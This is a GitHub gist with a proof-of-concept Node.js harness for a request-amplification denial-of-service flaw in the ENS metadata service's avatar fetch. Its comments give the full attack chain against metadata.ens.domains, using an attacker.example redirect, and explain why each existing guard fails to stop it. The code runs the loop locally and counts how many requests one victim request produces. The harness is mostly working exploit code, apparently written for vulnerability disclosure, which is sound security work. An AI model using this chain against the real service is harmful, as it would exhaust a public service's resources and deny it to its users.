Created
August 18, 2026 19:33
-
-
Save CharaD7/4783639388bf63e6350e6f9836f92dfa to your computer and use it in GitHub Desktop.
ENS ens-metadata-service: avatar/header fetch self-referential request amplification (DoS) - PoC harness
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // PoC: ens-metadata-service avatar/header image fetch can be turned into a | |
| // self-referential request-amplification loop (DoS on metadata.ens.domains). | |
| // | |
| // Chain (all verified against the repo + the exact npm deps it pins): | |
| // 1. Attacker owns a name and sets its avatar text record to | |
| // https://attacker.example/redir, where /redir 302-redirects to | |
| // https://metadata.ens.domains/mainnet/avatar/<attacker-name>. | |
| // 2. A victim (anyone, including another app that renders avatars) requests | |
| // https://metadata.ens.domains/mainnet/avatar/<attacker-name>. | |
| // 3. src/service/avatar.ts:107-115 calls abortableFetch(avatarURI). That is | |
| // node-fetch with default redirect:'follow', so it follows the 302 back | |
| // into the same service. | |
| // 4. The re-entered request is NOT stopped: | |
| // - blockRecursiveCalls (src/index.ts:71) only rejects requests that | |
| // carry `x-ens-internal` or a same-host Origin/Referer. The server-side | |
| // node-fetch sends none of those headers. | |
| // - ssrf-req-filter (v1.1.1, src/utils/abortableFetch.ts) only rejects | |
| // private/reserved IP ranges. metadata.ens.domains is a public | |
| // hostname -> allowed. (Its `stopPortScanningByUrlRedirection` option | |
| // is not even read by ssrf-req-filter 1.1.1.) | |
| // - urlDenyList:['metadata.ens.domains'] (avatar.ts:64) is only applied by | |
| // the ens-avatar lib to the INITIAL avatar URI host; redirect | |
| // destinations are never re-checked against it. | |
| // 5. The re-entered request resolves the SAME avatar text record again, fetches | |
| // the attacker URL again, 302s again -> a self-referential loop until the | |
| // per-fetch timeout (7000ms) or the response timeout (15000ms) fires. | |
| // | |
| // This file is a faithful, dependency-free local harness of the two relevant | |
| // production functions (abortableFetch + blockRecursiveCalls) plus the attacker | |
| // redirect server, proving: (a) the guard passes a redirected-in request, and | |
| // (b) one victim request fans out into many internal self-requests. | |
| // | |
| // The recursion depth is capped in the harness at MAX_DEPTH only so the run | |
| // terminates; in production the bound is the 7s fetch timeout / 15s response | |
| // timeout, and every hop re-enters the full Express pipeline (JSON-RPC avatar | |
| // resolution + JSDOM/DOMPurify sanitisation + rate-limiter accounting). | |
| // | |
| // Run: node ens-avatar-selfref-poc.js | |
| // Expected output (depth-capped): requests received = MAX_DEPTH + 1, blocked by | |
| // the recursive-call guard = 0. | |
| const http = require('http'); | |
| const fetch = require('node-fetch'); | |
| const timeoutSignal = require('timeout-signal').default; | |
| const ssrfFilter = require('ssrf-req-filter'); | |
| const META_PORT = 43213; | |
| const ATK_PORT = 43210; | |
| const MAX_DEPTH = 50; | |
| let incomingCount = 0; | |
| let blockedByRecursiveGuard = 0; | |
| let reachedDepth = 0; | |
| // Faithful replica of src/utils/abortableFetch.ts | |
| function abortableFetch(url, options = {}) { | |
| const signal = options?.timeout && timeoutSignal(options?.timeout); | |
| return fetch(url, { ...options, signal, redirect: 'follow' }).catch(() => null); | |
| } | |
| // Faithful replica of src/utils/blockRecursiveCalls.ts | |
| function blockRecursiveCalls(req) { | |
| if (req.headers['x-ens-internal']) return true; | |
| const origin = req.headers['origin'] || req.headers['referer']; | |
| if (origin) { | |
| try { | |
| const u = new URL(origin); | |
| if (u.hostname === req.headers.host && u.protocol.includes('http')) return true; | |
| } catch (e) {} | |
| } | |
| return false; | |
| } | |
| let currentDepth = 0; | |
| // Attacker redirect server: /a 302 -> the metadata avatar endpoint itself. | |
| http.createServer((req, res) => { | |
| res.writeHead(302, { Location: `http://127.0.0.1:${META_PORT}/mainnet/avatar/selfref.eth` }); | |
| res.end(); | |
| }).listen(ATK_PORT, () => console.log(`[attacker] redirect :${ATK_PORT} -> metadata :${META_PORT}`)); | |
| // Local replica of the metadata avatar endpoint (avatarImage -> getAvatarImage -> abortableFetch). | |
| http.createServer(async (req, res) => { | |
| incomingCount++; | |
| if (blockRecursiveCalls(req)) { | |
| blockedByRecursiveGuard++; | |
| res.writeHead(403, { 'Content-Type': 'application/json' }); | |
| res.end('{"message":"Recursive calls are not allowed."}'); | |
| return; | |
| } | |
| if (currentDepth >= MAX_DEPTH) { | |
| res.writeHead(404, { 'Content-Type': 'application/json' }); | |
| res.end('{"message":"No image found."}'); | |
| return; | |
| } | |
| currentDepth++; | |
| reachedDepth = Math.max(reachedDepth, currentDepth); | |
| await abortableFetch(`http://127.0.0.1:${ATK_PORT}/a`, { timeout: 7000 }); | |
| currentDepth--; | |
| res.writeHead(200, { 'Content-Type': 'image/png' }); | |
| res.end('PNGDATA'); | |
| }).listen(META_PORT, () => console.log(`[metadata] listening :${META_PORT}`)); | |
| setTimeout(() => { | |
| http.get(`http://127.0.0.1:${META_PORT}/mainnet/avatar/selfref.eth`, (r) => { | |
| r.resume(); | |
| r.on('end', () => { | |
| console.log('--- RESULT ---'); | |
| console.log('requests received by metadata service for ONE victim request:', incomingCount); | |
| console.log('blocked by x-ens-internal/origin guard (0 = guard bypassed):', blockedByRecursiveGuard); | |
| console.log('max recursion depth reached (harness cap = ' + MAX_DEPTH + '):', reachedDepth); | |
| console.log('request amplification factor:', incomingCount + 'x'); | |
| process.exit(0); | |
| }); | |
| }); | |
| setTimeout(() => { console.log('global timeout'); process.exit(1); }, 15000); | |
| }, 300); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment